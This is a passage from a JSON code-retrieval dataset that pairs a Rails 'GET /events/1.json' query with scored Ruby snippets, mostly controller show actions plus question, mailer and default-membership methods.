end", "title": "" }, { "docid": "fbaebc47c48b7acce627bf4adeb438f0", "score": "0.5145144", "text": "def before_save_set_next_question\n self.current_question = next_question\n end", "title": "" }, { "docid": "bf6e9053b61a6feec1e191f43979f95e", "score": "0.5141748", "text": "def set_question\n set_presentation\n @question = @presentation.questions.find(params[:id])\n end", "title": "" }, { "docid": "1d1d2343b3d335ca472c00e89540b89c", "score": "0.5139046", "text": "def set_general_enquiry\n @general_enquiry = GeneralEnquiry.find(params[:id])\n end", "title": "" }, { "docid": "be6c831177f166dde131bf9c5794743f", "score": "0.5138447", "text": "def self_intro_enquiry(*args)\n self.update_attribute(:bot_response, \"I'm Brian.\")\n return false\n end", "title": "" }, { "docid": "301eb45c6b51f5b650e21298c77240cd", "score": "0.5129866", "text": "def organisation_and_operator_created(operator)\n @operator = operator\n @organisation = operator.organisation\n mail(\n to: @operator.email,\n subject: 'Confirmation instructions'\n )\n end", "title": "" }, { "docid": "b40482a6111840c6232804200fde5a89", "score": "0.51244706", "text": "def ocare_rel_previously_collected?(question)\n answer_for(question, valid_response_exists?(\"PARTICIPANT_VERIF.OCARE_REL\"))\n end", "title": "" }, { "docid": "f4904163d3efa538469b7100c3fbb392", "score": "0.5113162", "text": "def create\n @question = Question.new(question_params)\n link_response_sets(params)\n\n if @question.all_versions.count >= 1\n if @question.not_owned_or_in_group?(current_user) || @question.prev_not_owned_or_in_group?(current_user)\n render(json: @question.errors, status: :unauthorized) && return\n elsif @question.all_versions.last.status == 'draft'\n render(json: @question.errors, status: :unprocessable_entity) && return\n end\n @question.version = @question.most_recent + 1\n end\n assign_author\n if @question.save\n render :show, status: :created, location: @question\n else\n # @categories = Category.all\n render json: @question.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "678bfff8a4003cf410e4a3e332d548c2", "score": "0.5112589", "text": "def org_question_privacy(org)\n privacy = question_privacies.by_org(org)\n #privacy = privacy.by_course(course)\n privacy = privacy.first\n if privacy\n privacy.question_privacy\n else\n self.question_privacy\n end\n end", "title": "" }, { "docid": "b3c26d3e001acf3a4a6af79aa8e42492", "score": "0.5108816", "text": "def inform_organization_context email\n # okay, because all contact_persons belong to the same organization\n orga = email.contact_people.first.organization\n offers = orga.offers.visible_in_frontend.select(\n &:remote_or_belongs_to_informable_city?\n )\n @contact_person = email.contact_people.first\n @vague_title = email.vague_contact_title?\n @mainly_portal = mainly_portal_offers?(offers)\n @overview_href_suffix = \"/organisationen/#{orga.slug || orga.id.to_s}\"\n @utm_tagging_suffix = generate_utm_suffix orga.offers, 'GF'\n @subscribe_href = get_sub_or_unsub_href email, 'subscribe'\n headers['X-SMTPAPI'] = { category: ['inform orga'] }.to_json\n send_emails email, offers, :orga_inform, t('.subject')\n end", "title": "" }, { "docid": "14a58b77ba0bb1f1e2f2eb99231a7837", "score": "0.5107149", "text": "def emailapprover(miq_request, appliance, msg)\n $evm.log('info', \"Approver email logic starting\")\n\n # Get requester object\n requester = miq_request.requester\n\n # Get requester email else set to nil\n requester_email = requester.email || nil\n\n # Get Owner Email else set to nil\n owner_email = miq_request.options[:owner_email] || nil\n $evm.log('info', \"Requester email:<#{requester_email}> Owner Email:<#{owner_email}>\")\n\n # Override to email address below or get to_email_address from from model\n to = nil\n to ||= $evm.object['to_email_address']\n\n # Override from_email_address below or get from_email_address from model\n from = nil\n from ||= $evm.object['from_email_address']\n\n # Get signature from model unless specified below\n signature = nil\n signature ||= $evm.object['signature']\n\n # Set email subject\n subject = \"Request ID #{miq_request.id} - Automation request was not approved\"\n\n\n # Build email body\n body = \"Approver, \"\n body += \"<br>An automation request received from #{requester_email} is pending.\"\n body += \"<br><br>#{msg}.\"\n body += \"<br><br>For more information you can go to: <a href='https://#{appliance}/miq_request/show/#{miq_request.id}'>https://#{appliance}/miq_request/show/#{miq_request.id}</a>\"\n body += \"<br><br> Thank you,\"\n body += \"<br> #{signature}\"\n\n # Send email to approver\n $evm.log('info', \"Sending email to <#{to}> from <#{from}> subject: <#{subject}>\")\n $evm.execute(:send_email, to, from, subject, body)\nend", "title": "" } ]
c70fffdf12d341bcf1b29d000c3702df
GET /events/1 GET /events/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "2d5580b43c7c18bcd8a06713fa4be0f1", "score": "0.75926495", "text": "def show\n\t\tevent_id = params[:id]\n\t\tif event_id.present?\n\t\t\t@event = Com::Nbos::Events::Event.active_events.where(:id => event_id)\n\t\t\trender :json => @event\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\n\tend", "title": "" }, { "docid": "ef3b9fa4fcf4cc779afcdcc77f6f94b2", "score": "0.7470553", "text": "def show\n @event = Event.find(params[:id])\n render json: @event, status: 200\n end", "title": "" }, { "docid": "a6f17cb2e0c0bf15dafb24e485b6f80d", "score": "0.7444542", "text": "def show\n\t\t@events = Event.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @events}\n\t\tend\n\tend", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.744193", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.744193", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "32f1c45b802c8eb963b57bd19c7021bc", "score": "0.74406016", "text": "def show \n @event = Event.find params[:id]\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "59fd8e27453bd20f76931164769ca4a8", "score": "0.74241066", "text": "def show\n @event = Event.find_by(id: params[:id])\n render json: @event\n end", "title": "" }, { "docid": "23b081913c4095ba481ca20c0017c37a", "score": "0.7424073", "text": "def show\n \n @event = Event.find(params[:id])\n \n\n respond_to do |format|\n format.html # events_path\n format.json { render json: events_path }\n end\n end", "title": "" }, { "docid": "470317defe83e35951c6c122d1f185b0", "score": "0.73936605", "text": "def show\n render json: @event, status: 200\n end", "title": "" }, { "docid": "877c162a18ff6baee8f083e383d2ad98", "score": "0.7383787", "text": "def show\n \t@event = Event.find(params[:id])\n \trender json: @event\n \t\n end", "title": "" }, { "docid": "da5a9d883b89e5e96507ec12f9e0aa14", "score": "0.73572993", "text": "def event\n begin\n JSON.parse(@omegle.post('/events', \"id=#{@id}\").body)\n rescue\n end\n end", "title": "" }, { "docid": "39720392e6631a437f629bf51500afb9", "score": "0.73560303", "text": "def show\n render json: @event.to_json, status: 200\n end", "title": "" }, { "docid": "53f346e7133fc3a8dd0297a45e606186", "score": "0.7343874", "text": "def show\n @simple_event = SimpleEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @simple_event }\n end\n end", "title": "" }, { "docid": "483079b80dfb97ee802273ad3849fa6b", "score": "0.7329677", "text": "def events\n @page = 'events'\n respond_to do |format|\n format.html {\n @events = Event.find(:all)\n }\n format.json {}\n end\n end", "title": "" }, { "docid": "50fda9b8c4c7883bb7aef1c21d64535d", "score": "0.7296473", "text": "def show\n @event = Event.find(params[:event_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "26631fa7d741f63dc0de4ebc0ce1e053", "score": "0.72901815", "text": "def index\n render json: { \n status: 200, \n events: Event.get_ongoing_events.as_json(\n only: [\n :id, \n :event_name, \n :reward_item, \n :event_start_time, \n :event_end_time\n ] \n )\n }\n end", "title": "" }, { "docid": "93e221f52a1fb29f9fa66aa41392b614", "score": "0.72677374", "text": "def index\n json_response(@calendar.events)\n end", "title": "" }, { "docid": "72c923bebff9a490f37ce18ecc3c9c3f", "score": "0.72532594", "text": "def index\n @events = Event.all\n\n render json:{status: 200, events: @events}, status: :ok\n end", "title": "" }, { "docid": "6b0594a368be5468d07ec6b6adda204f", "score": "0.7244934", "text": "def show\n @event = Event.find(params[:id])\n render json: @event, serializer: EventSerializer\n end", "title": "" }, { "docid": "43a32e9b14935754f5350879e1afed4b", "score": "0.7244453", "text": "def get(event_id)\n request 'get', :e_id => event_id\n end", "title": "" }, { "docid": "37a406a970f90d1bbcbc7811263a0334", "score": "0.7243571", "text": "def show\n \t@event = Event.find(params[:id])\n respond_to do |format|\n format.json { render json: @event, status: :ok }\t\n end \t \t\n end", "title": "" }, { "docid": "905af5b22530fb3991afcfb14e6c4358", "score": "0.7241864", "text": "def show\n @event = Event.find params[:id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event.to_api_hash }\n end\n end", "title": "" }, { "docid": "febcc91647b65e8ccc5954b1cf77ecf7", "score": "0.7237047", "text": "def show\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "c1413f5ad65b767ef61afdd4893b8b7f", "score": "0.7231732", "text": "def show\n ##\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { respond_event @event }\n end\n end", "title": "" }, { "docid": "286c133d90e3577bef6bb7ce8998890f", "score": "0.7223309", "text": "def show\n @event = Calendar.find(params[:id])\n render json: @event\n end", "title": "" }, { "docid": "a069e984b7364b889a975fb865b92e2e", "score": "0.7219172", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "a069e984b7364b889a975fb865b92e2e", "score": "0.7219172", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "04cc950e605be71e9988faad209e5239", "score": "0.7215904", "text": "def show\n @event = Event.find(params[:id])\nlogger.info @event.to_json\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "a304667961121c67ccaa3df021b1d564", "score": "0.72146964", "text": "def retrieve(id)\n @client.make_request(:get, \"events/#{id}\", MODEL_CLASS)\n end", "title": "" }, { "docid": "66cec9200352931dc624c60aa268ea93", "score": "0.7204848", "text": "def index\n @events = Event.all\n render json: @events\n end", "title": "" }, { "docid": "5afd9c217db582ab4e1d31c633a112c3", "score": "0.7201678", "text": "def index\n @events = Event.get_events(params)\n end", "title": "" }, { "docid": "a85255d083e155277c7206a8fbe1dc67", "score": "0.7193262", "text": "def events\n @events = Event.find(:all)\n\t respond_to do |format|\n\t\tformat.html # show.html.erb\n\t\tformat.json { render :json => @events }\n\t end\nend", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "b55800920566b8d1705156e86e9a3d26", "score": "0.7192214", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "53f03fe240698fa4821da04fd48001bd", "score": "0.7190171", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "53f03fe240698fa4821da04fd48001bd", "score": "0.7190171", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "0bd25cda8f89493807a725bdf88743c8", "score": "0.7185553", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "ffba32a75db83cfe33fbadcd45ea8758", "score": "0.71788853", "text": "def show\n\t@event = Event.find(params[:id])\n\n\trespond_to do |format|\n\t format.html # show.html.erb\n\t format.json { render json: @event }\n\tend\n end", "title": "" }, { "docid": "9f3479ee0d84bb4c759aa1ad3851528c", "score": "0.7176304", "text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html { render :show }\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "5d778e810a29178b1727eb24697e4654", "score": "0.7166417", "text": "def show\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "ce4ca83790dbd6603d50dfea9eaba5d6", "score": "0.716499", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "ce4ca83790dbd6603d50dfea9eaba5d6", "score": "0.716499", "text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "269ca140e2c57ccf3c31608aca7982ba", "score": "0.7163602", "text": "def show\n @event = Event.find(params[:id])\n respond_with @event.as_json\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" }, { "docid": "df721db38838316d4629530c6877bdf3", "score": "0.71610856", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end", "title": "" } ]
f1ddd543108d7b10f0377be33f92ec6a
Set the default membership. Will mark the given membership as the default and the other memberships (if any) as nondefault
[ { "docid": "b1e13b4d5d7843213e68176b32457d4e", "score": "0.7918003", "text": "def set_default_membership(default_membership)\n raise \"Membership must belong to account!\" unless default_membership.account_id==self.id\n self.memberships.each do | membership |\n membership.update_attributes({ :default => (membership.id == default_membership.id) })\n end\n end", "title": "" } ]
[ { "docid": "3c2f3fd3bcc5d55c646fad401e469c9d", "score": "0.6623985", "text": "def set_as_user_default\n self.default = true if (self.user && self.user.groups.count == 0)\n end", "title": "" }, { "docid": "b70719a677b3d3b3f3c0546ad2798a7b", "score": "0.6567457", "text": "def default!(default)\n self.default = default\n end", "title": "" }, { "docid": "9f5b2a48d44879cf9c1188d0f945582f", "score": "0.6409391", "text": "def assign_default_role\n self.add_role(:member) if self.roles.blank?\n end", "title": "" }, { "docid": "3fbb98105720dfd270284d5569510749", "score": "0.63482386", "text": "def set_default!\n ShippingAddress.update_all('current_default = 0', 'user_id = ' + self.user_id.to_s)\n ShippingAddress.update(self.id, :current_default => true)\n end", "title": "" }, { "docid": "4a9653be704e1371faf748ae5a0008f7", "score": "0.6310688", "text": "def assign_default_role\n self.add_role(:member) if self.roles.blank?\n end", "title": "" }, { "docid": "bc91d6123e7671fac73c50ea2a94c4a2", "score": "0.6220113", "text": "def set_default(name, *args, &block)\n set(name, *args, &block) unless exists?(name)\nend", "title": "" }, { "docid": "9ff74a81963f5a8dd1fe951c96da453b", "score": "0.61558145", "text": "def set_defaults\n self.status ||= \"active\"\n self.role ||= \"member\"\n end", "title": "" }, { "docid": "906654360ae9044933abefa8036a83ae", "score": "0.61376727", "text": "def default_values\n \tself.access_type = 'member'\n end", "title": "" }, { "docid": "cefab9d01caef9d477dbcf8031de3b3e", "score": "0.6115379", "text": "def set_default\n request({id: 8,method: 'set_default', params: []})\n end", "title": "" }, { "docid": "ad422437c77ccce8fe2feeb1c4413384", "score": "0.6090217", "text": "def become_a_member_of_default_user_groups\n UserGroup.where(:id => GsParameter.get('DEFAULT_USER_GROUPS_IDS')).each do |user_group|\n user_group.user_group_memberships.create(:user_id => self.id)\n end\n end", "title": "" }, { "docid": "811c532b2faefbb4f1edcdfee4efc76f", "score": "0.60653025", "text": "def setup_default_role\n # the default role [1] is friends & family\n self.role_ids = [1] if self.role_ids.empty? \n end", "title": "" }, { "docid": "0f90f4e713602e0181bf766cbf4cfa21", "score": "0.60196376", "text": "def set_default_params\n self.role ||= User.roles[:member]\n self.active = active.nil? ? true : active\n end", "title": "" }, { "docid": "0da74b0079c61539352d72b8a8e3e5b3", "score": "0.59812284", "text": "def set_default_church(_user_group_id)\n _group_rel = group_user_relationships.where(groupable_id: _user_group_id).take\n return errors.add(:base, 'You are not member of this group') && false unless _group_rel\n group_user_relationships.update_all(is_primary: false)\n _group_rel.update_column(:is_primary, true)\n end", "title": "" }, { "docid": "ea978a8013cae1ed23bc6f069e1b9909", "score": "0.59669787", "text": "def set_defaults_to_universal\r\n universal_array = PermissionGroup.where(owner: self.owner).where(universal: true).to_a\r\n universal_array = [PermissionGroup.new(name: \"universal\", universal:true, owner: self.owner)] if universal_array.empty?\r\n self.permission_groups = universal_array\r\n end", "title": "" }, { "docid": "3a4e7cc94034f49d7233a57d72688a4d", "score": "0.59481436", "text": "def add_to_default_group\n group = Group.where(name: \"Default\").first_or_create!\n group.members << self\n end", "title": "" }, { "docid": "af27fbb5ba71699ba9c05082bf8a2589", "score": "0.5938883", "text": "def set_default(p0) end", "title": "" }, { "docid": "aedf9c91ed360e5202381587031ddb9e", "score": "0.59388506", "text": "def default!\n call :set_default\n end", "title": "" }, { "docid": "c34e2ee6ef9b54829f5f5c49afdd0acb", "score": "0.5935125", "text": "def default=(_); end", "title": "" }, { "docid": "4c4723eb4fc34c222a589df0c9dcc8fd", "score": "0.59173125", "text": "def set_default(new_list)\n @default = new_list\nend", "title": "" }, { "docid": "68da008be6dd4c4d6d7029b983ce55eb", "score": "0.5913218", "text": "def default_sentinel_value=(val); end", "title": "" }, { "docid": "9dfda59b9a779dab0deab2bde97cc3dc", "score": "0.5900425", "text": "def default(default)\n set default: default\n end", "title": "" }, { "docid": "84ce1b2f2041f961d995dd07175090df", "score": "0.58480287", "text": "def set_default\n # Define el rol por defecto del usuario como 'registrado'\n self.role_id |= Role.find_by_name('registrado').id if self.role_id.blank?\n\n # Asocia un conjunto de redes sociales nuevo para el usuario\n self.social_networks_set = SocialNetworksSet.new\n\n # Asocia un perfil nuevo según la elección.\n # Si se modificó el valor del perfil escogido devolvemos un error\n case 